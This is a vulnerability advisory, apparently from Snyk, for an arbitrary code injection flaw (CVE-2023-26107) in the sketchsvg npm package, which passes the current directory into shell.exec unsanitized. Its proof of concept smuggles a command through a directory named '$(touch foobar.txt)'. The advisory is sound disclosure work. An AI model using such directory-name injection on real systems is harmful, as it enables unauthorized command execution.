Arbitrary Code Injection Affecting sketchsvg package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.07% (33rd
percentile)
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Test your applications- Snyk ID SNYK-JS-SKETCHSVG-3167969
- published 5 Mar 2023
- disclosed 13 Dec 2022
- credit Everardo Padilla
Introduced: 13 Dec 2022
CVE-2023-26107 Open this link in a new tabHow to fix?
There is no fixed version for sketchsvg.
Overview
sketchsvg is a Command line tool used to convert and compress Sketch Icons/images to SVG and base64 formats.
Affected versions of this package are vulnerable to Arbitrary Code Injection when invoking shell.exec without sanitization nor parametrization while concatenating the current directory as part of the command string.
PoC
$ pwd
/home/user/poc
$ mkdir '$(touch foobar.txt)'
$ cd '$(touch foobar.txt)'/
$ git clone https://github.com/eBay/SketchSVG && cd SketchSVG/
$ npm install
$ node index.js samples/test.sketch
$ file foobar.txt
foobar.txt: empty
References
CVSS Scores
version 3.1